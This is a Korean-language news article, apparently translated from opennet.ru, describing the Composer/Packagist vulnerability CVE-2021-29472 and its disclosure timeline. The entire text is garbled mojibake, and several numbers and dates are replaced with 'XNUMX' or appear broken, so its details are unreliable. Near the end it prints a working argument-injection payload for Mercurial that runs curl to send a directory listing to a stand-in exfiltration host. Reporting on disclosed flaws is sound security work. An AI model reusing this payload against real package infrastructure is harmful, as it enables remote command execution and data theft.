์์ค ์ฝ๋๋ฅผ ๋ค์ด๋ก๋ํ๊ธฐ ์ํ ์ฃผ์๋ฅผ ์ง์ ํ๋ ํน์ ํ์์ URL ๊ฐ์ด ํฌํจ๋ ํจํค์ง๋ฅผ ์ฒ๋ฆฌํ ๋ ์์คํ ์์ ์์์ ๋ช ๋ น์ด ์คํ๋๋๋ก ํ์ฉํ๋ ์ฌ๊ฐํ ์ทจ์ฝ์ (CVE-2021-29472)์ด Composer ์ข ์์ฑ ๊ด๋ฆฌ์์์ ํ์ธ๋์์ต๋๋ค. Git, Subversion ๋ฐ Mercurial ์์ค ์ ์ด ์์คํ ์ ์ฌ์ฉํ ๋ ์ฌ์ฉ๋๋ GitDriver, SvnDriver ๋ฐ HgDriver ๊ตฌ์ฑ ์์์์ ๋ฌธ์ ๊ฐ ๋ฐ์ํฉ๋๋ค. ์ด ์ทจ์ฝ์ฑ์ Composer ๋ฆด๋ฆฌ์ค 1.10.22 ๋ฐ 2.0.13์์ ํด๊ฒฐ๋์์ต๋๋ค.
ํนํ ์ด ๋ฌธ์ ๋ Composer์ ๊ธฐ๋ณธ ํจํค์ง ์ ์ฅ์์ธ Packagist์ ์ฃผ๋ก ์ํฅ์ ๋ฏธ์ณค์ต๋๋ค. Packagist์๋ PHP ๊ฐ๋ฐ์๋ฅผ ์ํ 306๊ฐ์ ํจํค์ง๊ฐ ํฌํจ๋์ด ์์ผ๋ฉฐ ๋งค์ 1.4์ต ๊ฑด ์ด์์ ๋ค์ด๋ก๋๋ฅผ ์ ๊ณตํฉ๋๋ค. ์คํ์์๋ ๋ฌธ์ ์ ๋ํ ์ง์์ด ์๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์๊ฐ Packagist ์ธํ๋ผ๋ฅผ ์ ์ดํ๊ณ ๊ด๋ฆฌ์์ ์๊ฒฉ ์ฆ๋ช ์ ๊ฐ๋ก์ฑ๊ฑฐ๋ ํจํค์ง ๋ค์ด๋ก๋๋ฅผ ํ์ฌ ์๋ฒ๋ก ๋ฆฌ๋๋ ์ ํ์ฌ ๋ฐฑ๋์ด๋ฅผ ๋์ฒดํ๊ธฐ ์ํด ์ ์์ ์ธ ๋ณ๊ฒฝ ์ฌํญ์ด ํฌํจ๋ ํจํค์ง ๋ณํ์ ์ ๋ฌํ๋๋ก ๊ตฌ์ฑํ ์ ์์์ ๋ณด์ฌ์ฃผ์์ต๋๋ค. ์ข ์์ฑ ์ค์น ํ๋ก์ธ์ค ์ค์.
์ต์ข ์ฌ์ฉ์์ ๋ํ ์ํ์ ์ผ๋ฐ์ ์ผ๋ก Composer.json์ ์ฝํ ์ธ ๊ฐ ์ฌ์ฉ์์ ์ํด ๊ฒฐ์ ๋๊ณ ์ผ๋ฐ์ ์ผ๋ก ์ ๋ขฐํ ์ ์๋ ํ์ฌ ์ ์ฅ์์ ์ก์ธ์คํ ๋ ์์ค ๋งํฌ๊ฐ ์ ์ก๋๋ค๋ ์ฌ์ค๋ก ์ ํ๋ฉ๋๋ค. ์ฃผ์ ํ๊ฒฉ์ Packagist.org ์ ์ฅ์์ ์ฌ์ฉ์๋ก๋ถํฐ๋ฐ์ ๋ฐ์ดํฐ ์ ์ก์ผ๋ก Composer๋ฅผ ํธ์ถํ๋ Private Packagist ์๋น์ค์ ๋จ์ด์ก์ต๋๋ค. ๊ณต๊ฒฉ์๋ ํน๋ณํ ์ค๊ณ๋ ํจํค์ง๋ฅผ ๋ฐฐ์นํ์ฌ Packagist ์๋ฒ์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
Packagist ํ์ ์ทจ์ฝ์ ์ด ๋ณด๊ณ ๋ ํ 12์๊ฐ ์ด๋ด์ ์ทจ์ฝ์ ์ ์์ ํ์ต๋๋ค. ์ฐ๊ตฌ์๋ค์ 22์ 27์ผ Packagist ๊ฐ๋ฐ์๋ค์๊ฒ ๋น๊ณต๊ฐ๋ก ํต๋ณดํ๊ณ , ๊ฐ์ ๋ ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋์์ต๋๋ค. ์ด ์ทจ์ฝ์ฑ์ ํด๊ฒฐํ๋ Composer์ ๊ณต๊ฐ ์ ๋ฐ์ดํธ๋ 28์ XNUMX์ผ์ ๊ฒ์๋์์ผ๋ฉฐ ์ธ๋ถ ์ ๋ณด๋ XNUMX์ XNUMX์ผ์ ๊ณต๊ฐ๋์์ต๋๋ค. Packagist ์๋ฒ์ ๋ก๊ทธ ๊ฐ์ฌ์์๋ ์ทจ์ฝ์ ๊ณผ ๊ด๋ จ๋ ์์ฌ์ค๋ฌ์ด ํ๋์ด ๋ฐ๊ฒฌ๋์ง ์์์ต๋๋ค.
์ด ๋ฌธ์ ๋ ๋ฃจํธ Composer.json ํ์ผ๊ณผ ์์ค ๋ค์ด๋ก๋ ๋งํฌ์ URL ์ ํจ์ฑ ๊ฒ์ฌ ์ฝ๋์ ์๋ ๋ฒ๊ทธ๋ก ์ธํด ๋ฐ์ํฉ๋๋ค. ์ด ์ค๋ฅ๋ 2011๋ XNUMX์๋ถํฐ ์ฝ๋์ ์กด์ฌํ์ต๋๋ค. Packagist๋ "fromShellCommandline"์ ํธ์ถํ๊ณ ๋ช ๋ น์ค ์ธ์๋ฅผ ์ ๋ฌํ์ฌ ์คํ๋๋ ํน์ ์์ค ์ ์ด ์์คํ ์ ๋ฌถ์ด์ง ์๊ณ ์ฝ๋ ๋ก๋ฉ์ โโ๊ตฌ์ฑํ๊ธฐ ์ํด ํน์ ๋ ์ด์ด๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์๋ฅผ ๋ค์ด, git์ ๊ฒฝ์ฐ "git ls-remote -heads $URL" ๋ช ๋ น์ด ํธ์ถ๋ฉ๋๋ค. ์ฌ๊ธฐ์ URL์ "ProcessExecutor::escape($url)" ๋ฉ์๋๋ฅผ ์ฌ์ฉํ์ฌ ์ฒ๋ฆฌ๋๋ฉฐ "$(. ..)" ๋๋ "` ...`".
๋ฌธ์ ์ ํต์ฌ์ ProcessExecutor::escape ๋ฉ์๋๊ฐ URL์ ์ถ๊ฐ ํธ์ถ ๋งค๊ฐ๋ณ์๋ฅผ ์ง์ ํ ์ ์๋ "โ" ์ํ์ค๋ฅผ ์ด์ค์ผ์ดํํ์ง ์์๋ค๋ ๊ฒ์ ๋๋ค. ์ด๋ฌํ ์ด์ค์ผ์ดํ๋ GitDriver.php, SvnDriver.php ๋ฐ HgDriver.php ๋๋ผ์ด๋ฒ์์ ๋๋ฝ๋์์ต๋๋ค. GitDriver.php ๊ณต๊ฒฉ์ "git ls-remote" ๋ช ๋ น์ด ๊ฒฝ๋ก ๋ค์ ์ถ๊ฐ ์ธ์ ์ง์ ์ ์ง์ํ์ง ์๋๋ค๋ ์ฌ์ค๋ก ์ธํด ๋ฐฉํด๋ฅผ ๋ฐ์์ต๋๋ค. "--config" ๋งค๊ฐ๋ณ์๋ฅผ "hq" ์ ํธ๋ฆฌํฐ์ ์ ๋ฌํ๋ฉด HgDriver.php์ ๋ํ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ํ๋ฌ์ต๋๋ค. ์ด ์ ํธ๋ฆฌํฐ๋ฅผ ์ฌ์ฉํ๋ฉด "alias.identify" ์ค์ ์ ์กฐ์ํ์ฌ ๋ชจ๋ ๋ช ๋ น์ ์คํ์ ๊ตฌ์ฑํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์ปฌ ์ ํธ๋ฆฌํฐ๋ฅผ ์คํํ์ฌ ์ฝ๋๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ์คํํ๋ ค๋ฉด ๋ค์์ ์ง์ ํ ์ ์์ต๋๋ค. โconfig=alias.identify=!curl http://exfiltrate-host.tld โdata โ$(ls -alh)โ
์ฐ๊ตฌ์๋ค์ ์ ์ฌํ URL์ ๊ฐ์ง ํ
์คํธ ํจํค์ง๋ฅผ Packagist์ ๊ฒ์ํจ์ผ๋ก์จ ๊ฒ์ ํ ์๋ฒ๊ฐ ํ์ฌ ๋๋ ํฐ๋ฆฌ์ ํ์ผ ๋ชฉ๋ก์ด ํฌํจ๋ AWS์ Packagist ์๋ฒ ์ค ํ๋๋ก๋ถํฐ HTTP ์์ฒญ์ ์์ ํ์์ ํ์ธํ์ต๋๋ค.
์ถ์ฒ : opennet.ru